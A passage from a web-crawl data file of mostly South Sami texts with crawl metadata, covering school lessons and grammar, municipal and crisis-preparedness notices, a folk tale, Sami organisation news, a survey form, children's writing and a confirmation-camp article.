tseekim dejtie vaarjojde, åå jidtedh, manne vuajnam gukt'amma daah, tjeehpes jis baakoeh dennie sjåarhtesne, dah jis båateme dan rudtjese.\nNåå, ij lij gujht mij jeatjah raerie, tjoerim gujht vaeltedh dam sjåarhtam, ij lij tjidtjien naan jeatjah tyjje mestie gåarodh. Idtjim gujht naan guapah åadtjoeh, barre suejnie-voessetjem. Ij lij gujht guktie daelie mijjen tïjjesne, daelie edtjebe utnedh dan jïjnjh vaarjoeh, jïjnjh guapah, jïjnjh lijhkie-vaarjoeh. Ij leah gujht guktie åvtesne, dellie giesege barre baarhkohkh juelkine jïh daelvege jis barre gejhkehkh.\nNumhtie guktie, ij gujht gåaredh jeatjebem jiehtedh, tïjje lea gujht hijven aaj sjïdteme. Hijven lea gujht ihke bueriebadtje tïjjem aaj åadtjoejibie veasodh.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\n- Kjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:172659","date":"2019-04-22T15:07:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00168.warc.gz","language":"sma","language_score":0.999979496,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999794960021973}","num_words":323,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kommunfullmäktige antog ett minoritetspolitiskt program i april 2012. Kommunstyrelsen beslutade i juni 2012 om en strategi med inriktningsmål för minoritetspolitiken i Strömsunds kommun. Det minoritetspolitiska programmet reviderades under 2016.\nStrömsund är en av de 19 förvaltningskommunerna för samiska som särskilt ska skydda och främja samisk kultur och samiska språk.\nKommunen ska:\nÅarjelsaemien\nAktem unnebelåhkoepolitijkeprogramme tjïeltenreeremistie njoktjen askesne 2012 dïedti. Tjïeltenreereme nænnoesti ruffien 2012 akten strategien bïjre gusnie ulmie unnebelåhkoepolitihkese Straejmien tjïeltesne lij. Unnebelåhkoeprogramme 2016 jaepien nuelesne revideereme.\nStraejmien tjïelte lea akte dejstie 19 reeremetjïeltijste saemiengïelese mah sjïere edtjieh saemien kultuvrem jïh saemien gïelide vaarjelidh jïh evtiedidh.\nTjïelte edtja\nRelaterad information\nBroschyrer\nÅarjelsaemien\nSenast ändrad\/granskad: 16 november 2017","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.stromsund.se\/1027.html","date":"2018-07-23T05:24:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676594954.59\/warc\/CC-MAIN-20180723051723-20180723071723-00614.warc.gz","language":"sma","language_score":0.8988870382,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.898887038230896, \"swe_Latn_score\": 0.06991730630397797, \"sme_Latn_score\": 0.027920763939619064}","num_words":97,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":0.941,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Brosjyre Jis krijse jallh dåaroe båata\nBrosjyre Jis krijse jallh dåaroe båata soptseste guktie mijjieh gïeh Sveerjesne årroeminie maehtebe buerebe ryöjredidh jis itjmies ovlæhkoeh, feerlege vearelde, it-attack jallh militæære vigkieh.\nMannasinie daate bïevnese vihkeles?\nDaate bïevnese dïrrege lea guktie datne maahtah dov dïedtem vaeltedh bene aaj viehkine daejredh guktie siebriedahke jåhta. Jis dov lea buerie maahtoe jïh leah buerie ryöjredamme dle maahtah meatan årrodh jeatjah almetjidie viehkiehtidh jis maam akth heannede. Dïedtem ahte Sveerjem vaarjelidh jïh krijsem vuertedh lea mij akth maam gaajhkh utnieh gie daesnie årroeminie.\nBïevnesh\nMinngemes aejkie akte brosjyre seedtesovvi lij dåaroejaepien 1961. Dellie dan nomme lij \"Jis dåaroe båata\". Dan mænngan bïevnesh lea tellefovnekatalåågesne gååvnesamme.\nPublikationsnummer: MSB1208\nUtgivningsår: 2018\nBroschyren skickas ut till 4,8 miljoner hushåll i Sverige i samband med kampanjen Krisberedskapsveckan, den 28 maj – 3 juni 2018. Syftet med informationen är att vi ska bli bättre förberedda på följde...\nPublikationsnummer: MSB1208\nUtgivningsår: 2018","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.msb.se\/sma\/rad-till-privatpersoner\/brosjyre-jis-krijse-jallh-daaroe-baata\/","date":"2022-01-26T17:56:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304959.80\/warc\/CC-MAIN-20220126162115-20220126192115-00291.warc.gz","language":"sma","language_score":0.9999227524,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999227523803711}","num_words":142,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saajve-jaevresne gööleminie\nDaate tjaalege lea gærjeste \"Staaloeh vienhtieh aske lea dålle\", maam Kirsti Birkeland tjaaleme. Ella Holm Bull lea tjaalegem åarjelsaemien gïelese jarkoestamme.\nSaajve-jaevresne gööleminie\nIkth ligan göökte saemieh gïeh vaaran vöölkigan edtjigan nuehtine gööledh. Akte lij båeries dïhte mubpie noere. Goh dan jaevrien gåajkoe böötigan dellie eelkigan gööledh. Vaenieh guelieh åadtjoejigan, guktie latjkajigan edtjigan orrijidh jïh gåatan vuelkedh. Dle dïhte båarasommes jeehti:\n- Manne jaevriem daajram gusnie leah jïjnjh guelieh, stoerre buajtehke. Dïhte gidtjh dïhte, ij desnie nåhtedh guelieh åadtjodh jis ij buektehth sjeavodh årrodh. Juktie dïhte lea saajve-jaevrie.\n- Baejien dahkoe vaedtsedh, dïhte nööremes saemie jeehti.\n- Nov manne maahtam sjeavodh årrodh.\nNimhtie dellie dan saajve-jaevrien gåajkoe vöölkigan. Ojhte nuehtiem jaavran vaerhpiedigan jïh gaadtan geesigan. Nuehtie lij dïeves vievtjije guelijste. Dellie dïhte nööremes ussjedi: Eah daah guelieh maehtieh olkese tjihtedidh. Eah daennie viermesne fiejlieh gååvnesh.\nJïh dellie ojhte baakoem miste lööjhti. Idtji buektehth sjeavodh årrodh. Dallatjinie lij nuehtie öövre gåaroes, idtji vielie guelie vååjnh. Dellie dïhte båarasommes saemie jeehti:\n- Ij monnese daesnie nåhtedh gööledh. Aerviedim idtji datne buektehth sjeavodh årrodh.\n- Baejien ikth vielie voejhkelidh, dïhte mubpie jeehti, - nov edtjem daan aejkien gaegniedidh.\nDellie vihth nuehtiem jaavran vaerhpiedigan. Jïh dellie gaadtan geesigan. Gosse nuehtiem gaadtan geaseme, dellie vööjnigan nuehtie tjaebpies guelijste dïeves. Dillie vihth ussjedi:\n- Eah edtjh daelie guktemes laakan olkese luajhtasovvedh.\nJïh dam aaj jeehti. Dallatjinie lin gaajhkh guelieh haajpanamme. Idtjigan maam åadtjoeh. Dillie dïhte båeries saemie jeehti:\n- Buerebe gåatan vaedtsien. Ij monnese daesnie lahkaskovh guelieh åadtjodh, gosse ij daate mov voelpe buektehth sjeavodh årrodh.\nDie dïhte nööremes ikth vielie tjoemehti jïh luhpiehti idtji edtjh satneste daelie vielie gïelem govledh.\n- Aajja, jis datne sïjhth. Daelie leam lïereme!\nVihth nuehtiem jaavran vaerhpiedigan. Gaadtan aaj geesigan. Daelie lij aaj guelijste dïeves. Mahte lij baakoem biestieminie, dellie maajetjh buektiehti njaelmiem steeredh. Gosse nuehtiem gaadtan geaseme, dellie ojhte alvas saalehtem åadtjoejigan, jïh stoerre, buajtehks guelieh lin. Daelie dle båarasommes saemie jeehti:\n- Dellie vuajnah. Gosse barre månnoeh limen sjeavodh, dellie jïjnjh guelieh åadtjoejimen.\nNimhtie lea saajve-jaevrine. Jis daesnie sæjhta gööledh, die tjuara sjeavodh årrodh.\nlahkasovh\n= lahkasieh\nvievtjije\nsprellende\nguktemes laakan\npå hvilken som helst måt","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/127484?fag=126960","date":"2017-03-30T05:01:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00656-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":339,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïelekonferanse 2019 – læjkoedidie daatovidie!\nSaemien gïelekonferanse 2019\nSaemien gïelekonferanse 2019 – læjkoedidie daatovidie!\nSaemiedigkie saemien gïelekonferansese böörede Romsesne goevten 4. jïh 5. b. 2019. Konferanse öörnesåvva hotellesne Clarion Hotel The Edge.\nSaemiedigkie aktine guhkiebasse gïelebarkojne gïehteleminie maam mijjieh gohtjeme Gïelelutnjeme. Daate akte ellies jïh vihties barkoe saemien gïeline gaajhkine siebriedahkesuerkine. Saemiedigkien visjovne lea saemien gïelh edtjieh iemie, siebriedahkeguedtije jïh jielije gïeline årrodh siebriedahkesne. Mijjen maadthvuajnoe lea nöörjen jïh saemien gïelh edtjieh mïrrestalledh jïh seammavyörtegs gïeline årrodh. Daate aktem nænnoes gïelebarkoem kreava siebriedahkesne, gusnie gaajhkh aktöörh maehtieh viehkiehtidh saemien gïelide lutnjedh.\nEN lea nænnoestamme 2019 edtja gaskenasjonaale jaepie årrodh aalkoealmetjegïelide. Saemiedigkie sæjhta dam gïelekonferansesne mïerhkesjidh, gusnie jeatjah aalkoealmetjh aaj sijhtieh stïeresne årrodh.\nMijjieh daam vuejnebe goh akte aalkoe saemiedigkien gïelebarkose – Gïelelutnjeme, jïh sæjhta dïhte voestes stööremes mïerhkesjimmie årrodh dehtie gaskenasjonaale aalkoealmetjegïelejaepeste. Mijjieh sïjhtebe saemien tjïelth, gïelejarngh, gïele- jïh kultuvreinstitusjovnh, privaate jïh byögkeles aktöörh jïh jielemem jïh aalkoealmetjh ovmessie bielijste veartanistie konferansese bööredidh. Konferansen teema sæjhta gïelelutnjeme årrodh ovmessie njieptjine jïh siebriedahkesuerkine.\nDaelie programmine konferansese barkeminie, jïh lïenghke sïjsebieljelæmman konferansese sæjhta varke båetedh.\nVielie bïevnesh:\nSámediggi.no","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/lohkanguovddas.no\/sma\/saemien-gielekonferanse-2019","date":"2019-01-21T11:38:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583792338.50\/warc\/CC-MAIN-20190121111139-20190121133139-00051.warc.gz","language":"sma","language_score":0.9999959469,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999959468841553}","num_words":167,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Regjeringen besluttet mandag 20. desember at alle direkteflygninger fra Storbritannia stanses med umiddelbar virkning. Tiltaket gjelder i første omgang for to døgn, fra mandag 21. desember, men kan bli forlenget. Samtidig strammes det inn på flere tiltak overfor alle reisende fra Storbritannia til og med 10. januar 2021. I forskrift 27. mars 2020 nr. 470 […]\nKlikk her for å lese videre\nTsïengele doekoe Röörosen tjïelte sæjhta aelkedh covid-19 vööste vaksineradidh. Almetjh mejtie 65 jaepien båeries bijjelen jïh båarasåbpoe leah prioritereeme dåehkieh. Dah nuepiem åadtjoeh koronavaksijnem voestegh vaeltedh. Datne prioriteereme dåehkesne jïh nuepiem åadtjoeh koronavaksijnem voestegh vaeltedh. Datne jïjtje veeljh mejtie sïjhth koronavaksijnem åadtjodh. Koronavaksijne namhtah almetjidie Nöörjesne. Datne sïjhth koronavaksijnem åadtjodh? Dellie tjoerh mijjem gaskesedtedh Gaskesadth […]\nKlikk her for å lese videre","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/roros.kommune.no\/2020\/12\/22\/","date":"2021-01-18T07:49:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703514423.60\/warc\/CC-MAIN-20210118061434-20210118091434-00465.warc.gz","language":"sma","language_score":0.9958269,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9958269000053406}","num_words":114,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie sïjhth mijjen kraannajgujmie laavenjostedh juktie mijjen regijovnem nænnoesåbpoe darjodh?\nInterreg lea bielie EU:n sïemesvuekiepolitihkeste juktie raastenrastah prosjekth finansieradidh. Orre Interregprogrammeboelhke sæjhta vaesedh 2021 raejeste 2027 raajan. Programme sæjhta Soemen, Sveerjen jïh Nöörjen noerhtemes bielieh feerhmedh, jïh sæjhta åarjese ryöhkedh dajvi gåajkoe Österbotten Soemesne, Västernorrland Sveerjesne jïh Nordlaante Nöörjesne jïh Saepmie.\nDaelie dov lea nuepie baajnehtidh mah teemah mah maehtieh jeenjemes viehkiehtidh mijjen regijovnem nænnoestidh.\nSign in to Google\nto save your progress.\nLearn more\n* Required\nE-påaste-adresse\nYour answer\nDatne dan åvteste vaestedh\n*\nPrivaate årganisasjovne\nByögkeles årganisasjovne\nNGO\nDotkeme- \/ööhpehtimmieårganisasjovne\nPrivaate almetje\nJeatjah\nMah teemah maehtebe sinsitneste lïeredh jïh guktie ektesne orre innovatijve raerieh gaavnedh juktie mijjen dajvem fryöjstehkåbpoe jïh gaahtjemevæjkele darjodh? Veeljh vïjhte daejstie teemijste:\n*\nGaahtjemenuepie jïh maahtoe regijovnen SMB:se\nDigitaliseradimmie\nDotkeme jïh innovasjovne\nEnergijeeffektiviteete, orrestimmeles energije, vijsies energijesysteemh\nJårrije ekonomije\nSjïehtedimmie klijmajarkelimmide\nBiologeles gellievoete jïh giehpiedimmie deerjeldahkeste\nRaastenrastash mobiliteete jïh konnektiviteete\nBarkoemaarhkedh jïh fasseldimmie\nÖöhpehtimmie jïh lïereme mij abpe jieledem ryöhkoe\nGaavnoes healsoedïenesjh\nKultuvre jïh kultuvreaerpie\nBueriedamme byögkeles reereme\nSosijaale meatan årrodh jïh feerhmeme\nLaavenjostoe almetjijstie almetjidie\nRequired\nDov mïelen mietie, mah leah doh stööremes evtiedimmiehaestemh mijjen regijovnesne båetijen aejkien?\nYour answer\nDov naan raeriestimmieh nommen bïjre don orre Interreg-programmese:\nYour answer\nOrre Interreg-programme aaj webinaarh ïedtjeladtjide soejkesjeminie. Datne sïjhth vielie bïevnesh gaavnedh dan bïjre mænngan fïerhten Interreg-programmen nedtesæjrojne Noerhte jïh BA. Lissine bïevnesh aaj sijhtieh Romsan jïh Finnmarhken fylhkentjïelten, Nordlaanten fylhkentjïelten jïh saemiedigkien nedtesæjrosne årrodh. Jis datne sïjhth \/dov årganisasjovne sæjhta meatan årrodh, maahtah årganisasjovnen nommem jïh e-påasteadressem sïjse bïejedh vuelielisnie. Gaskesadtemebïevnesh ajve åtnasuvvieh juktie webinaarese bööredidh.\nYour answer\nDov gaskesadtemebïevnesh ajve åtnasuvvieh programmeradimmieprosessesne jïh dïsse mij lea bijjielisnie neebnesovveme, jïh båarhte vaaltasuvvieh 31.12.2021. Romsan jïh Finnmarhken fylhkentjïelte sæjhta dov persovnebïevnesh luhpieslaakan jïh jearsoeslaakan gïetedidh. Daesnie maahtah lohkedh guktie mijjieh dov persovnebïevnesh gïetedibie jïh mah reaktah datne åtnah goh registreradamme mijjen systeemine:\nhttps:\/\/www.tffk.no\/personvern-og-informasjonskapsler-cookies\/personvern.2528.aspx\nManne jååhkesjem\nClear selection\nSubmit\nClear form\nNever submit passwords through Google Forms.\nThis content is neither created nor endorsed by Google.\nReport Abuse\n-\nTerms of Service\n-\nPrivacy Policy\nForms","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/docs.google.com\/forms\/d\/e\/1FAIpQLScm8vGvgWa9E_kPI0UE3WzX_D-SQk_wQvBcxbzvhir3BghcYg\/viewform?usp=send_form","date":"2021-12-04T06:02:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362930.53\/warc\/CC-MAIN-20211204033320-20211204063320-00095.warc.gz","language":"sma","language_score":0.9999731779,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999731779098511}","num_words":323,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lahkoe jåvlh jïh buerie orre jaepie gaajhkesidie!\nJåvleheelsegh NSR:ste\nKategoriNSR\nDato24.12.2021\nJåvleheelsegh NSR:ste\nGieries NSR-lïhtsegh,\nJïjnje sjugniehtovveme saemien seabradahkesne jïh maam mijjieh buektiehtamme jaepien 2021. NSR:n maadthgierkieh, mijjen saemiesiebrieh, leah hijvenlaakan barkeme ovmessie kuvsjh öörnedh, vuesiehtimmien gaavhtan duedtiekuvsjh jïh gïelekuvsjh, mah leah meatan saemien identiteetem jïh kultuvrem jieliehtidh jïh eevtjedh mijjen lïhtsegi gaskem.\nDatne goh lïhtsege mijjen saemiesiebrine leah vihkele mijjese NSR:sne. Datnine ektine edtjebe njueniehkisnie årrodh saemien ïedtji åvteste barkedh, jïh saemien reaktaj åvteste gæmhpodh.\nGæjhtoe voenges siebride dan hijven barkoen åvteste maam darjoejidh veeljemegæmhposne!\nTjaktjegiesien jïh tjaktjen libie veeljemegæmhpoem tjïrrehtamme. Jïh daan jaepien saemiedigkieveeljemem vitnimh. Gæjhtoe voenges siebride dan hijven barkoen åvteste maam darjoejidh veeljemegæmhposne! Mijjieh dan joekoen garmere 17 mijjen politihkeles tjirkijijstie tjirkijinie veeljesovvin Saemiedægkan juktie mijjen politihkem eevtjedh. Gaskemedtien jienebh goh 2 tjirkijh fïerhtede veeljemegievleste!\nJïh Silje Karine Muotka Alta Sámi Searviste, mij lij mijjen presideentekandidaate, goh dijjieh daejrede presideentine veeljesovvi, daelie njueniehkisnie saemien reaktaj åvteste barkeminie.\nMijjieh jienebelåhkoem darjoejim Gaskoehkrirrine jïh Ávjovári johttisámiid listune ektine, mij nommem Biejjienaalkoe\/Beaiveálgu åadtjoeji. Nommem veedtjeme dehtie voestes saemiengïeleldh romaaneste maam Anders Larsen bæjhkoehti 1912.\nNSR:n åvtehke Runar Myrnes Balto mij lea NSR:n åvtehke orreme 2018 raejeste veelji åvtehkinie orrijidh daan tjaktjen mænngan raerielïhtseginie veeljesovvi. Sïjhtebe dam gijhtedh dan stöörege, jearsoe jïh hijven stuvremen åvteste NSR:ste gellie jaepieh.\nDaelie stoerre aamhtesh mijjen uvte, akte dejstie lea Fovsene-aamhtese, gusnie bïegkeindustrijen konsesjovne lij luhpehts, jïh mijjieh ibie annje orrijh daan jïh jeatjah skilkehtasseaamhtesi åvteste barkedh.\nIbie daarpesjh gïetigujmie låammaj sisnie tjahkasjidh gosse tjarkelaakan barkebe mijjen båetijem aejkiem nænnoestidh.\nBarkoe ij gåessie gih nåhkh dïsse mij vaajtoes, jeahtasåvva. Naemhtie aaj mijjese NSR:sne. Ibie daarpesjh gïetigujmie låammaj sisnie tjahkasjidh gosse tjarkelaakan barkebe mijjen båetijem aejkiem nænnoestidh.\nBåetijen jaepien jïjnje heannede. Rïjhketjåanghkoe lea vihkeles heannadimmie mijjese, jïh mijjieh aavoedibie NSR goh organisasjovne edtja jåerhkedh soptsestalledh båetijen aejkien politihken jïh evtiedimmien bïjre saemien seabradahkeste. Gaajhkesh daerpies daennie barkosne, dovne lïhtsegh jïh gaajhkh jeatjah viehkieh!\nSïjhtebe abpe siebriem daan jaepien åvteste gijhtedh, jïh gegkiestibie dijjieh åadtjode hijvenlaakan lïegkedidh dan båetije barkoen åvtelen mubpien jaepien.\nLahkoe jåvlh jïh buerie orre jaepie gaajhkesidie!\nDearvuođaiguin\/varrudagá\/\nJïjnjh heelsegh\/Hilsen\nVidar Andersen\njođiheaddji\/jådediddje\/\nSaia Stueng\n1. nubbinjođiheaddji\/1. nuppejådediddje\/1.mubpie åvtehke\/1. nestleder\nSárá Márjá Magga\nBB-miellahttu\/ BN-sebrulasj\/ BM-lïhtsege\/ AU-medle","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/nsr.no\/sma\/nsr\/julehilsener-fra-nsr\/","date":"2022-01-22T01:34:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303729.69\/warc\/CC-MAIN-20220122012907-20220122042907-00606.warc.gz","language":"sma","language_score":0.9999661446,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999661445617676}","num_words":348,"character_repetition_ratio":0.044,"word_repetition_ratio":0.029,"special_characters_ratio":0.145,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Språkbadsbarnehager\nSpråkbadsbarnehager\nGuktie maanagïerth maehtieh maanaj saemiengïelem evtiedidh gosse saemiengïele ij leah maanaj aarkebiejjiegïelem gåetesne? Jon Todal, professore sosiolingvistihkesne, Saemien jïlleskuvlesne, daennie microlåhkosne buerkeste guktie maanagïerth maehtieh göökte ovmessie barkoevuekieh nuhtjedh gosse edtjieh saemiengïelem ööhpehtidh maanide mah eah gåetesne saemesth.\nHvordan kan barnehagen støtte samisk språkutvikling hos barn som ikke har samisk som hjemmespråk? Jon Todal, professor i sosiolingvistikk ved Samisk høgskole presenterer i denne mikroleksjonen to aktuelle modeller for barnehager som skal formidle samisk språk til barn som ikke har samisk som hjemmespråk.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/lohkanguovddas.no\/sma\/giele-lierehtimmie\/maanagierte\/sprakbadsbarnehager","date":"2023-01-28T14:09:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499634.11\/warc\/CC-MAIN-20230128121809-20230128151809-00449.warc.gz","language":"sma","language_score":0.9869763851,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9869763851165771}","num_words":84,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh raajesh baakoeh joekehts funksjovnigujmie utnieh raajesinie. Dah leah raajese-lïhtsh goh subjekte, ryöktesth objekte, ov-ryöktesth objekte, verbaale jïh adverbijaale. Daennie teemesne datne raajese-bigkemen bïjre lïerh jïh guktie dah joekehth raajese-lïhtsh jïh raajesh.\nGuktie raajesh bigkedh\nBaakoeh joekehts funksjovnh utnieh raajesisnie. Raajesi baakoeh leah raajese-lïhtsh, goh subjekte, verbaale, objekte jïh adverbijaale, v.g.:\n|Subjekte||Objekte||Verbaale|\n|Baernie||gærjam||låhka.|\nFïerhten gïelen leah joekehts vuekieh guktie raajesh bigkedh. Åarjelsaemien-gïelen nøytraale raajese-bigkeme lea SOV, gusnie S lea raajesen subjekte, O raajesen objekte jïh V raajesen verbaale. Dan åvteste jiehtebe åarjelsaemien lea SOV-gïele, juktie verbe minngemes sæjjan båata daagkeres nøytraale raajesisnie.\n|S||O||V|\n|Baernie||gærjam||låhka.|\nJis guhkebe raajese mij adverbijaaligujmie (Adv.), dellie gellien aejkien dah adverbijaalh maehtieh joekehth sijjide båetedh raajesisnie, v.g.:\n|Subjekte||Objekte||Verbaale||Adverbiaale|\n|Baernie||gærjam||låhka||daan biejjien.|\nMujhtieh! Syntakse lea learoe mij soptseste guktie edtjebe raajesh bigkedh.\nGrammatihke-baakoeh\n|Saemien||Daaroen|\n|baakoe-jiehtege, jiehtege||frase (gruppe av ord)|\n|åejvie-baakoe||hovedord|\n|bijjie-lïhtse||overledd|\n|nuelie-lïhtse||underledd|\n|raajese-lïhtse||setningsledd|\n|ryöktesth objekte||direkte objekt|\n|ov-ryöktesth objekte||indirekte objekt|\n|sijjie-adverbijaale||stedsadverbial|\n|tïjje-adverbijaale||tidsadverbial|\n|vuekie-adverbijaale||måtesadverbial|\n|åejvie-raajese||hovedsetning|\n|lïhtse-raajese||leddsetning|\n|soptsestimmie-raajese||fortellende setning|\n|nyöjhkeme soptsestimmie-raajese||nektende fortellende setning|\n|gihtjeme-raajese||spørresetning|\n|nyöjhkeme gihtjeme-raajese||nektende spørresetning|\n|stilleme-raajese||imperativsetning|\n|nyöjhkeme stilleme-raajese||nektende imperativsetning|","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:194367\/topic:1:184748","date":"2019-04-19T17:21:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00073.warc.gz","language":"sma","language_score":0.9992172122,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9992172122001648}","num_words":160,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Minngemes teeksth\nManne leam hujnies\nManne leam hujnies,\nmanne sïjhtem klaeriedidh.\nMannasinnie sïjht klaeriedidh?\nLea luste, OK?!\n\"Britt-Marie 2.0\"\nNinjah jïh gïermesje\nIkth lij gïermesje, gellieh åejjiejgujmie. Snjåajpelh dej njaelmiej sistie råasoejin. Dellie golme ninjah böötin, jïh gïermesjem bäjjese vaaran nollelin, gropten sijse. Jeehtin desnie gullie. Ninjah gïermesjem geereli...\nDaelvie lea tjaebpies\nDaelvie lea tjaebpies\nDaelvie lea tjåeskies\nManne lyjhkem Daelvie\nDaelvie lea mov bööremes jaepieboelke\n\"Ragge2.0\"","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.polarbibblo.se\/sma-se\/tjaeledh\/","date":"2023-06-06T19:54:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653071.58\/warc\/CC-MAIN-20230606182640-20230606212640-00721.warc.gz","language":"sma","language_score":0.9999535084,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999535083770752}","num_words":66,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njieljeluhkie-njielje noerh mahte golme våhkoeh ruffien askesne Burträsksne orreme, skyllemesijjesne. Aejlegen gærhkosne lin, jïh dellie maa skyllejin.\nVihkeles noeride\nAlbertina Kråik Johansson lij akte dejstie noerijste mah veeljin saemien skyllemesæjjan vuelkedh, jïh dïhte tuhtjie gaajh luste orreme jïh aaj veanhta daate vihkeles noeride.\n– Daam nuepiem ikth åådtje, Albertina jeahta.\nSijjesne dah noerh sinsitnine åahpenedtieh jïh åadtjoeh aaj sijjien saemien identiteete nænnoestidh. Dah ovmessie aamhtesigujmie barkieh jïh stååkedieh,jïh dah aaj vaaran vuelkieh, lustestellieh. – Mijjieh aaj jeesusen jïh jupmelen bijre soptsteme, dïhte gieltegs, Albertina jeahta.\nAlbertina Kråik Johansson\nManne buerebe jïjtjedomtese åådtjeme\nHijven åahpenadtedh\nAlbertina soptseste gellie orre voeplh åådtjeme gosse skyllemesijjesne vearadamme.\nDïhte tuhtjie dan soe luste gosse åadtjoe jeatjah saemien noerigujmie åahpenadtedh\n– Daelie leam voelph abpe Saepmeste åådtjeme, dan luste, dïhte 